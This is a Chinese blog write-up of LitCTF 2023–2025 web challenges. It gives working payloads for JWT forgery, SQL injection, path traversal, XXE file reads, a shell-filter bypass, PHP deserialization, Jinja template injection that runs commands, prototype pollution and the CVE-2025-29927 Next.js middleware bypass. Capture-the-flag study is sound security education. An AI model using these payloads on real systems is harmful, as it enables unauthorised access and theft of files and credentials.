LitCTF2023-2025-web-wp

1924 字
10 分钟
LitCTF2023-2025-web-wp

这里列出来一部分的题目(具体的其他赛题可以看下其他师傅的文章 (其实是其他题目没写 wp😭

[LitCTF 2023]Flag点击就送!#

这里打开题目,随便注册了一个账号 0n1y

随后去点击获得 flag,显示 只有管理员才能拿flag耶

这里看了下 session 值,很明显是 jwt 格式

这道题是使用 jwt 确认身份

这里我先把得到的 jwt 去进行爆破

试了好一会,发现不大行(

随后猜是不是 LitCTF

这里用到一个工具叫做 flask-unsign,它可以直接伪造一个 jwt

flask-unsign --sign --cookie "{'name': 'admin'}" --secret 'LitCTF'

[LitCTF 2023]这是什么?SQL !注一下 !#

打开题目,明显的 sql 注入

这里直接给我们源码了((tjjj好!

因此直接开注

?id=-1)))))) union select schema_name,2 from information_schema.schemata--+

这一步得到所有的数据库:

Array ( [0] => Array ( [username] => information_schema [password] => 2 ) [1] => Array ( [username] => mysql [password] => 2 ) [2] => Array ( [username] => ctftraining [password] => 2 ) [3] => Array ( [username] => performance_schema [password] => 2 ) [4] => Array ( [username] => test [password] => 2 ) [5] => Array ( [username] => ctf [password] => 2 ) )

这里我们先看 ctf

-1)))))) union select group_concat(table_name),2 from information_schema.tables where table_schema='ctf'--+

这一步得到表名 users

?id=-1)))))) union select group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema='ctf'--+

这一步得到列名 id,username,password

?id=-1)))))) union select group_concat(id,0x7e,username,0x7e,password),2 from users--+

这一步得到一个假的 flag(彩蛋!

彩蛋4:F1rst_to_Th3_eggggggggg!} (4/4)

这里换个数据库查,ctftraining

流程和上面一致:

这里注意,我们最后查询的数据库不是 information_schema,而是 ctftraining

在这个库里面是没有 table_schema 这个库名字段

因此我们不能说 ...where table_name='flag' and table_schema='ctftraining'--+

此刻我们在 information_schema 数据库外,应该使用的是 数据库名.表名

最终查询 payload:

?id=-1)))))) union select flag,2 from ctftraining.flag--+

[LitCTF 2024]高亮主题(划掉)背景查看器#

打开题目,没有什么有效信息,但是切换主题的时候有 post 请求

这里其实读源码也能看到请求

这里抓包,得到是去读取一个文件 theme2.php

感觉存在路径穿越

尝试读取 /etc/passwd 成功

最终 payload:../../../../../../../../../../../../flag

[LitCTF 2024]exx#

这里题目提示了 xxe

打开题目,抓包登录:

构造如下 payload 验证 xxe:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<user><username>&xxe;</username><password>1</password></user>

得到回显:

<result><code>0</code><msg>root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
www-data:x:82:82:Linux User,,,:/home/www-data:/sbin/nologin
utmp:x:100:406:utmp:/home/utmp:/bin/false
mysql:x:101:101:mysql:/var/lib/mysql:/sbin/nologin
nginx:x:102:102:nginx:/var/lib/nginx:/sbin/nologin
</msg></result>

直接读取根目录 flag 即可:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag"> ]>
<user><username>&xxe;</username><password>1</password></user>

[LitCTF 2024]百万美元的诱惑#

打开题目给了源码:

<?php
error_reporting(0);
$a = $_GET['a'];
$b = $_GET['b'];
$c = $_GET['c'];
if ($a !== $b && md5($a) == md5($b)) {
        if (!is_numeric($c) && $c > 2024) {
            echo "好康的";
        } else {
            die("干巴爹干巴爹先辈~");
        }
    }
else {
    die("开胃小菜))");
}
开胃小菜))

这里是用了个 md5 比较,直接绕过即可:

?a=QNKCDZO&b=240610708&c=2025a

进入第二关:

<?php
//flag in 12.php
error_reporting(0);
if(isset($_GET['x'])){
    $x = $_GET['x'];
    if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
            system("cat ".$x.".php");
    }
}else{
    highlight_file(__FILE__);
}
?>

这里我们需要使得传入的 x 值为 12

但是不能传入字母和数字和一堆符号

这里很明显 $( 是可以传的,那么我们可以通过取反构造数字

$(()) 用于计算,当其中无值是则输出0

嵌套取反

Terminal window
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

还看到一个师傅的 payload 是这样构造的:

Terminal window
$(($$/$$))$(($$/$$+$$/$$))

这里的 $$ 表示当前的进程号,使用 $$/$$ 即可得到 1

后面的 $$/$$+$$/$$ 即可得到 2

这里连接起来就是 12

注意要对 + 进行 url 编码,这里直接 url 编码即可:

?x=%24((%24%24%2F%24%24))%24((%24%24%2F%24%24%2B%24%24%2F%24%24))

[LitCTF 2024]浏览器也能套娃?#

打开题目,让我们输入一个 url

猜测为 ssrf,抓包使用 file 协议读取 /etc/passwd 成功

再读取 /flag 即可

[LitCTF 2024]SAS - Serializing Authentication#

打开题目,直接给了源码:

<?php
class User {
    public $username;
    public $password;
    function __construct($username, $password) {
        $this->username = $username;
        $this->password = $password;
    }
    function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; }
}
?>

很明显要通过反序列化构造回 User 类以及其中属性要对应 isValid 中的值

脚本:

<?php
// 1. 必须声明和目标一模一样的类结构
class User {
public $username;
public $password;
function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
}
// 2. 实例化一个满足绕过条件的对象
$admin_user = new User('admin', 'secure_password');
// 3. 序列化这个对象
$serialized_data = serialize($admin_user);
echo "原始序列化字符串: " . $serialized_data . "\n";
// 4. 进行 Base64 编码
$final_payload = base64_encode($serialized_data);
echo "最终提交的 Payload: " . $final_payload . "\n";
?>

这里因为它会对我们的数据先 base64 解码再反序列化,因此先编码一次

最终得到的 payload: Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjE1OiJzZWN1cmVfcGFzc3dvcmQiO30=

[LitCTF 2025]星愿信箱#

只过滤了 {{}},这里使用 {%%} 绕过即可

{%print(lipsum.__globals__.os.popen('tac /flag').read())%}

[LitCTF 2025]easy_file#

打开题目是个登录框

随便输入什么抓包

发现它将我们的输入先是进行一次 base64 编码

这里先修改我们的账号密码为:

username=YWRtaW4=&password=cGFzc3dvcmQ=

登进去,发现有个文件上传

这里尝试 .php 后缀发现被过滤,大概是白名单

在首页我们得到这样一个提示://file查看头像

后面直接使用这个接口连接上传的文件即可

[LitCTF 2025]君の名は#

源码:

<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
    private $musubi;
    private $magic;
    public function __unserialize(array $data)
    {        $this->musubi = $data['musubi'];        $this->magic = $data['magic'];
        return ($this->musubi)();
    }
    public function __call($func,$args){
        (new $args[0]($args[1]))->{$this->magic}();
    }
}
class Mitsuha
{
    private $memory;
    private $thread;
    public function __invoke()
    {
        return $this->memory.$this->thread;
    }
}
class KatawareDoki
{
    private $soul;
    private $kuchikamizake;
    private $name;
    public function __toString()
    {
        ($this->soul)->flag($this->kuchikamizake,$this->name);
        return "call error!no flag!";
    }
}
$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){    unserialize($Litctf2025);
}else{
    echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}

反序列化,最终的 payload 要先编码一次再传

[LitCTF 2025]easy_signin#

打开题目,显示 403

(这里不是题目问题,原题就是这样的)

扫到以下信息:

Terminal window
[14:39:23] 301 - 169B - /api -> http://node6.anna.nssctf.cn/api/
[14:39:24] 301 - 169B - /backup -> http://node6.anna.nssctf.cn/backup/
[14:39:26] 302 - 0B - /dashboard.php -> /login.html
[14:39:29] 200 - 51B - /login.php
[14:39:29] 200 - 6KB - /login.html

看源码发现 js 文件中泄露了一个接口,使用 file:// 协议能通,但是我们不知道 flag 的名称

首页的 user 去抓包里面修改后,显示密码错误

这里没发现有什么线索,回到接口把

这里访问 /api/sys/urlcode.php?url=file:///var/www/html/api/sys/urlcode.php

得到 flag 的路径拿到 flag(所以搞那个 dashboard.php hyw,难道这个是非预期吗

[LitCTF 2025]多重宇宙日记#

打开题目,随便注册一个号进去看源码:

| |
|---|
|// 更新表单的JS提交|
|document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) {|
|event.preventDefault();|
|const statusEl = document.getElementById('updateStatus');|
|const currentSettingsEl = document.getElementById('currentSettings');|
|statusEl.textContent = '正在更新...';|
||
|const formData = new FormData(event.target);|
|const settingsPayload = {};|
|// 构建 settings 对象,只包含有值的字段|
|if (formData.get('theme')) settingsPayload.theme = formData.get('theme');|
|if (formData.get('language')) settingsPayload.language = formData.get('language');|
|// ...可以添加其他字段|
||
|try {|
|const response = await fetch('/api/profile/update', {|
|method: 'POST',|
|headers: {|
|'Content-Type': 'application/json',|
|},|
|body: JSON.stringify({ settings: settingsPayload }) // 包装在 "settings"键下|
|});|
|const result = await response.json();|
|if (response.ok) {|
|statusEl.textContent = '成功: ' + result.message;|
|currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);|
|// 刷新页面以更新导航栏(如果isAdmin状态改变)|
|setTimeout(() => window.location.reload(), 1000);|
|} else {|
|statusEl.textContent = '错误: ' + result.message;|
|}|
|} catch (error) {|
|statusEl.textContent = '请求失败: ' + error.toString();|
|}|
|});|
||
|// 发送原始JSON的函数|
|async function sendRawJson() {|
|const rawJson = document.getElementById('rawJsonSettings').value;|
|const statusEl = document.getElementById('rawJsonStatus');|
|const currentSettingsEl = document.getElementById('currentSettings');|
|statusEl.textContent = '正在发送...';|
|try {|
|const parsedJson = JSON.parse(rawJson); // 确保是合法的JSON|
|const response = await fetch('/api/profile/update', {|
|method: 'POST',|
|headers: {|
|'Content-Type': 'application/json',|
|},|
|body: JSON.stringify(parsedJson) // 直接发送用户输入的JSON|
|});|
|const result = await response.json();|
|if (response.ok) {|
|statusEl.textContent = '成功: ' + result.message;|
|currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);|
|// 刷新页面以更新导航栏(如果isAdmin状态改变)|
|setTimeout(() => window.location.reload(), 1000);|
|} else {|
|statusEl.textContent = '错误: ' + result.message;|
|}|
|} catch (error) {|
|statusEl.textContent = '请求失败或JSON无效: ' + error.toString();|
|}|
|}|

通过

// 刷新页面以更新导航栏(如果isAdmin状态改变)
setTimeout(() => window.location.reload(), 1000);

可以知道存在一个 isAdmin 的属性

我们输入的 json 都会在 settings 键下:

{
"settings": {
"__proto__": {
"isAdmin": true
}
}
}

即可提权为管理员拿到 flag

[LitCTF 2025]nest_js#

看了下 wp,利用了一个 cve:CVE-2025-29927 Next.js 中间件权限绕过漏洞

我们添加一个这样的请求头即可绕过:

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

LitCTF2023-2025-web-wp
https://www.0n1y.org/posts/LitCTF2023-2025/
作者
0n1y
发布于
2026-05-26
许可协议
CC BY-NC-SA 4.0
Profile Image of the Author
0n1y
炼就坚持仙蛊
音乐
封面

音乐

暂未播放

0:00 0:00
暂无歌词
分类
标签
站点统计
文章
11
分类
3
标签
3
总字数
22,312
运行时长
0
最后活动
0 天前

目录